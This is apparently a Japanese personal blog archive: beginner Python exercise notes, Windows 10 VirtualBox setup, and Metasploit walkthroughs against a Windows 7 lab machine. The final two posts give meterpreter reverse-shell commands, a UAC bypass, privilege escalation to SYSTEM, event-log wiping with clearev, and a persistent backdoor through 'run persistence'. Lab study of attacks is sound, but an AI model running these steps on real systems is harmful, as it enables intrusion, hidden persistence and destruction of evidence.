python おさらい その6

python おさらい その6

標準入力+1で出力

print(int(input())+1)

次にリストの中に重複した値があるか true false で判定

list =["HND","NRT","KIX","NGO","NGO"]
flag =len(list) != len(set(list))
if flag:
    print("true")
else:
    print("False")

Pythonでリスト(配列)に重複した要素があるか判定

を参考に

set() にリストを渡すと重複する値は無視されて
位置地な値のみになるので
これを len() で比較すれば重複した要素があるか判定できる

最後の判定は true で出力なので
そのまま処理結果を出すと True になる

python の set() について調べたいなら
Pythonのsetの基本的な使い方 : set()

も参考に

リストとの違いは要素に順番を持たず
重複した値は取り除かれるということ

次にリストの中から同じ要素のカウント


array = ["HND", "NRT", "KIX", "NGO", "NGO", "NGO", "NGO", "NGO"]
count = {}

for pattern in array:
    if pattern in count:
        count[pattern] += 1
    else:
        count[pattern] = 1

for (key, value) in count.items():
    if value != 1:
        print(value)

全体の要素数をカウントするなら len() を使う
各要素ごとの出現回数をカウントするなら count() を使う

今回は

count ={}

としておくことで key value 形式で格納できるようにしている

詳しくは
PythonのCounterでリストの各要素の出現個数をカウント

を参考に

items() はキーと値のペアを両方取り出す

for (key, value) in count.items():

なら
count の中のキーと値を取り出しながらループとなる

この使い方については
Pythonで辞書をforループするkeysメソッド・valuesメソッド・itemsメソッドの使い方

を参考に

次にリストのソートと表示

list =[1, 3, 5, 6, 3, 2, 5, 23, 2]
list.sort()

for item in list:
    print(item)

昇順でリストをソートするなら
sort() で行う
なお
sort(reverse=True)
とすると降順ソートになる

リスト関連は
Pythonのリストのソートまとめ|sort(), sorted(), reverse()
を参考に

python おさらい その5

python おさらい その5

文字列の長さを表示するには len() を使う

print(len(input()))

で標準入力で入力した文字数を表示できる

次に文字列のインデックスの表示

input_line = input()
print(input_line[0])

というように 0 からインデックスが振られるので
最初の入力文字を表示するなら0を指定する

次にリストのループ表示

list =["Nara", "Shiga", "Hokkaido", "Chiba"]
for item in list:
    print(item)

今回は標準入力ではなく
リストの中身の表示

for の構文がわかっていれば
あとはリストの中身を表示するだけでOK

解説としては
【Python入門】for文を使った繰り返し文の書き方

がわかりやすいかも

次に標準入力を1文字ずつ表示
とはいっても入力自体を1文字ずつなので
別に分割するとか考えなくてOK

string=input()

for item in string:
    print(item)

最初の string の中身がリストから標準入力になっただけ

次に2つの入力値があり
最初に文字列
次に文字を入力し
文字の出現回数を計算する


string = input()
char = input()
count = 0

for item in string:
    if item == char:
        count +=1
print(count)

最初に2つの input で文字列と文字を取得

あとは回数を格納する変数を用意して
for で文字列をループしながら単語に分解

その中で文字と一致したら
カウントを増やして最後に print() で出力

次に
標準入力の
文字列の n 文字目と n + 1 文字目
という場合

count = int(input())-1
string = input()

if count +1 < len(string):
    print(string[count]+" "+string[count+1])

インデックスはゼロから数えるので
入力の時点で -1 したほうが計算が楽

文字列の長さを超えることがあるので
if で判定しておく
文字列連結は + でできる
これは java とかもおなじ
php だと . で連結なのでわかりにくいかも

s が t の中で何回出現するかカウントして出力
の場合

pattern = input()
string = input()
result = 0

for i in range(len(string) - len(pattern) + 1):
    portion = string[i:i + len(pattern)]

    if portion == pattern:
        result += 1

print(result)

次に標準入力+1で出力する場合

num= int(input())+1
print(num)

int() で整数にして+1しておけばOK

次に
n m
というように空白区切りで入力して
n 個の整数を改行区切りで標準

num = int(input())

for i in range(num):
    print(input().split()[1])

最初の num で入力回数を取得
次に for で回数分ループ
split() で分けて インデックス1の部分なら
2番めに入力したものがでるのでこれでOK

次に標準入力したものをソートして出力

input()
string = input().split()
nums=[]

for num in string:
    nums.append(int(num))
nums.sort()

for i in nums:
    print(i)

となる

格納リストを用意し
ループで入力したものを代入
代入するときに整数に変換

ループ後に sort() でソート
あとはこれをループさせて
1つずつ表示

次に入力されるn個の組を整数の値で昇順にソートして
文字列を表示

num = int(input())
inputs = {}

for i in range(num):
    tmp = input().split()
    inputs[int(tmp[1])] = tmp[0]

inputs = sorted(inputs.items())

for i in inputs:
    print(i[1])

最初に入力数を受け取る

次に 配列格納変数inputs を用意
for で range の範囲を入力値にして
tmp に格納しながら標準入力したものをループでまわす

inputs[int(tmp[1])] = tmp[0]

の部分で key value 形式で格納

inputs = sorted(inputs.items())

の部分で
sorted() で昇順にソート

sort() と sorted() の違いについては
Pythonでリストをソートするsortとsortedの違い

を参考に

基本的に文字列をソートするなら sorted() を使う

items() はすべてのキーと値の組み合わせを取得

なお値だけなら values()
キーだけならkeys() を使う

これらの辞書関連メソッドについては
辞書に含まれるすべてのキーと値を取得する

を参考に

今回は inputs に key -value 形式で格納
あとは

for i in inputs:
    print(i[1])

で 値のみループで表示すればOK

python おさらい その4

python おさらい その4

文字列の分割

input_line = input()
for string in input_line.split():
    print(string)

というように
一度 input() で入力し
split() で分解した数だけループ処理

あとは print で表示

次に整数の足し算

a,b = map(int,input().split())
print(a+b)

で2つの数値を合計して出力

for で書くのなら


strings = input()
result =0
for num in strings.split():
    result +=int(num)
print(result)

というかんじ

次に文字列の長さ
長さは len() で取得できるので


input_line = input()
print(len(input_line))

とすればOK

次に配列のインデックス表示

input_line = input()
print(input_line[0])

というように変数にインデックスが割り当てられているので
0からカウントしていく

今回なら最初の文字列が0なので
最初の文字列を表示

次に大文字への変換
これは upper() を使う

メソッドについては
Python文字列操作マスター

を参考に

print(input().upper())

次に指定範囲の数値を表示

これは range() を使う
第2引数に+1しないとその1つ前の数値で処理が終了してしまう

input_line = list(map(int,input().split()))

for input in range(input_line[0], input_line[1]+1):
    print(input)

でOK
リストに格納したほうが int でキャストしなくていいので楽

書き方については
Python3の標準入力やり方まとめ

を参考に

次に指定した文字列だけ大文字変換する

nums= list(map(int,input().split()))
string = input()


print(string[0:nums[0] - 1], end='')
print(string[nums[0] - 1:nums[1]].upper(), end='')
print(string[nums[1]:])

print() で end=” を指定すると改行なしとなるので
処理したものを改行なしで表示できる

python おさらい その3

python おさらいその3

文字列の分割

input_line = input().split()
print(input_line[0])
print(input_line[1])

とすれば
標準入力を分割し、表示できる

std_in = input()

for string in std_in.split():
    print(string)

でも答えは同じ

次に標準入力で2つの値をいれて合計を出す

a,b= map(int,input().split())
print(a+b)

でも

std_in = input()
result = 0

for num in std_in.split():
    result += int(num)

print(result)

でも答えは同じ

次に文字列の長さを取得
これは len() で簡単にできる

input_line = input()
print(len(input_line))

もっと簡潔に書くなら

print(len(input()))

文字列の長さ(文字数)を取得する

を参考に

次に入力した1番めの文字列を取得

input_line = input()
print(input_line[0])

というように
格納した変数のインデックスで取得表示できる

文字列の指定したインデックスの文字(要素)を取得する

を参考に

次にスペース区切りの入力をすべて表示

nums = input().split()

for i in range(int(nums[0]), int(nums[1]) + 1):
    print(i)

というように range() に範囲指定して行う

split() を使うことで分割され
これはインデックスとして格納される

range() は
第1引数で開始位置
第2引数で範囲
を指定する

Pythonのrange()関数を使ったリスト作成や繰り返し処理の書き方

を参考に

python おさらい その2

python おさらい その2

最初に入力回数をいれて
次に文字列をいれ、それを出力していく

input_line = int(input())
for i in range(input_line):
    string = input()
    print(string)

標準入力で空白区切り、もしくはスペース区切りの場合は

数値の場合なら
Python3 標準入力から複数の値を受け取りたい時

のように

map(int,input(),split())

を使う

文字列の場合は

input().split()

でOK

スペース区切りの文字列を分割して
2行にするのなら

std_in = input()

for string in std_in.split():
    print(string)

というかんじ

次にスペース区切りで2つの整数を入力し
それを足すというもの

a,b =map(int,input().split())
print(a+b)

でOK

2つの整数をそれぞれ足して
最後に合計を出す
もし同じ2つの値のときには掛け算する

time = int(input())
result = 0

for i in range(time):
    std_in = input()
    array = std_in.split()

    if array[0] == array[1]:
        result += int(array[0]) * int(array[1])
    else:
        result += int(array[0]) + int(array[1])

print(result)

python おさらい

python おさらい

python で標準入力するときに
数値入力するのなら
input() を使う

この場合、数値になるので
入力値 +1とするなら

input_line =int(input())
print(input_line +1 )

とすればOK

標準入力関連については
Python3の標準入力やり方まとめ

を参考に

また、最初に入力回数、次に改行で入力値
というものを出力するのなら

input_line = int(input())
for i in range(input_line):
    print(input())

次に入力値がなく
1, 3, 5, 6, 3, 2, 5, 23, 2
のリストの合計値を出力する場合

mylist =[1, 3, 5, 6, 3, 2, 5, 23, 2]
print(sum(mylist))

となる

合計をだすには
sum() を使う

python でのリスト作成には
【Python入門】listの使い方とメソッドまとめ

リストの足し算については
Pythonでリストの要素を足し算する方法を現役エンジニアが解説【初心者向け】

を参考に

次に標準入力で
入力値が5位上なら high
以下なら low とするなら

if int(input()) >= 5:
    print("high")
else:
    print("low")

となる
if の中に入力を判定としていれたほうがコードが短くできる

次に5位上の数だけリストから足し算する場合

mylist =[4, 0, 5, -1, 3, 10, 6, -8]
result = 0

for i in mylist:
    if i >= 5:
        result += i
print(result)

というように格納変数を用意し
for でループしながら
条件に当てはまるものだけ足していく

次に標準入力から5位上のものを足していくというもの

result = 0
num = int(input())

for i in range(num):
    tmp = int(input())

    if tmp >= 5:
        result += tmp

print(result)

result は判定した数値を足すための格納用変数

最初の num で入力回数を把握

これを for でループの回数にセット
tmp で入力した数値を代入し
それを if で判定し足していく

Windows10 仮想マシン構築その2

Windows10 仮想マシン構築その2

仮想マシンのいれものができたので
起動をクリック

すると起動ハードディスクの選択になるので
Windows10 のISOファイルを指定

前回ダウンロードした
Win10_1809Oct_v2_Japanese_x64.iso
を指定

起動をクリックすると
インストール画面になるので
設定はデフォルトのままで
次へをクリック

今すぐインストール
をクリック

今回は実際に使用する用途はセキュリティの実験につかうので
プロダクトキーがありません
をクリック

OSの種類では
Windows 10 Pro を選択

ライセンスに同意しますにチェックをいれ
次へをクリック

インストール種類は
カスタム Windows のみをインストールを選択
これはセキュリティの実験のため

インストール場所は
デフォルトのドライブの割り当てられていない領域のままでOK

これでインストールが実行される

再起動後に地域設定がでるので
日本にしてはいをクリック

キーボード設定もそのまま
Microsoft IME にしてはいをクリック

他のキーボードの使用予定はないのでスキップをクリック

ネットワーク設定は個人用に設定をクリック

アカウント設定は
オフラインアカウントをクリック

次に
制限付きエクスペリエンスをクリック

アカウントに使う名前を入力し次へをクリック

パスワード設定画面になるので設定
再度確認画面になるので再度おなじパスワードを入力

次にセキュリティの質問の設定

次に Cortana の設定があるけど拒否をクリック

アクティビティの設定では
いいえをクリック

次にデバイスのプライバシー設定
これはすべていいえにして同意をクリック
下にスクロールして項目がでてくること
デフォルトがすべてはいになっているので注意

その後インストールは自動で行われ
設定が終わるとデスクトップ画面が表示されるので
一度シャットダウン

VirtualBox の設定をクリック

ストレージで
Windows の iso ファイルをクリックし
光学ドライブからディスクを除去をクリック

これで期限がくるまでの間、Windows 10 の仮想マシンを使用することが可能になる

Windows10 仮想マシン構築

Windows10 仮想マシン構築

https://www.microsoft.com/ja-jp/software-download/windows10ISO
から
Windows10 のISOファイルをダウンロード

Windows 以外のOSでアクセスすると
ISOファイルのダウンロード画面になる

エディションの選択では
セキュリティの実験に使うので
Windows10 October 2018 Update
を選択

これで確認をクリックすると
言語選択になるので

日本語を選択し

次の画面で
64-bit ダウンロードをクリック

ダウンロードができたら
VirtualBox を起動し
新規をクリック

名前を Windows10 など任意の名前にして次へをクリック

メモリ設定はデフォルトのまま2GBでOK

次に仮想HDD関連関連で
デフォルトの
仮想ハードディスクを作成するのままでOK

ファイルタイプも
デフォルトのVDIのままでOK

ストレージタイプは
可変サイズでOK

ファイルサイズと場所もデフォルトのままでOK
ちなみにデフォルトのサイズは50GB

これで作成をクリックすれば
空の状態の仮想マシンが作成される

Windows7 ログ削除

Windows7 ログ削除

Windows システムログは
イベントログとして記録され
これは
イベントビューアで確認できる

WIndows で確認するには
スタートメニューで
eventvwr.msc
とすれば
Event Viewwer が起動しログの確認ができる

主なイベントログは
Application
アプリやプログラムが記録する情報
エラーなどが該当

Security
Windows 椅子sテムが記録する情報
特定ファイルの読み取り失敗とか
ログオンの成否などなど

System
標準サービスの記録情報
デバイスドライバ
OSブートなどなど

これらを削除するには
KaliLinux 側で SYSTEM権限で
clearev コマンドを使うことで削除が可能になる

すでにバックドア設置済みな場合

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

これで

exploit

でペイロードが実行され、待受状態になってから
50秒後にセッションが接続される

ただし、この状態ではSYSTEM権限ではないし
そのままでは権限昇格もできない

次に

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

これで

exploit

でUAC機能をバイパスした状態で実行できる

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

これで権限を得たので

clearev 

を実行するとイベントログが消去される

Windows7 バックドア設置

Windows7 バックドア設置

evil.exe を実行したときのみセッションが確率されるが
通常は何度も実行することはないので
バックドアを設置する

これはWindows7 起動時に自動でペイロードを実行するように
設定をする

まず、
KaliLinux でリバースシェルを待ち受けにして
Windows 7 で evil.exe を実行

KaliLinux を起動し

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になるので

windows7 で evil.exe を実行

次に

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

 show options 

でオプションで使用するセッションIDが必要なのがわかる

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でUAC機能をバイパスした状態で実行できる

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

セッションが閉じるたびに Windows 側で evil.exe を実行しないと
この手順の繰り返しになるので
Windows 7 起動時に自動でペイロードを実行するようにする

これは
run persistence コマンドを使う

オプションについては

run persistence -h

で確認できる

今回は

run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p 4444 -r 192.168.1.134

で実行

-X でシステム起動時に自動開始
-i は接続を開始するタイミングを秒で指定
-P でペイロードの指定
-p でポート指定
-r でペイロードを実行する対象のIPアドレス
となる

つまり
今回なら
60秒間隔で
ペイロードを
4444 番ポートで
192.168.1.134 のマシンへ実行
となる

なお、Windows 7 への変更点については
Sysinternals で確認できる

Sysinternal Suites フォルダの中にある
Autoruns.exe
で起動

File > Compare で
最初に作成したarm ファイルを選択

すると
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
のところにキーが追加されているのがわかる

ここに追加された値は
c:\users\ieuser\appdata\local\temp\nhvpfroywzr.vbs
に設定されている

この状態でWindows 7 を再起動しておき

KaliLinux でリバースシェル環境を再び設定する

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.134
exploit

を実行

すると、今回からは Windows7 で evil.exe を実行せずとも
セッションが確率されるのがわかる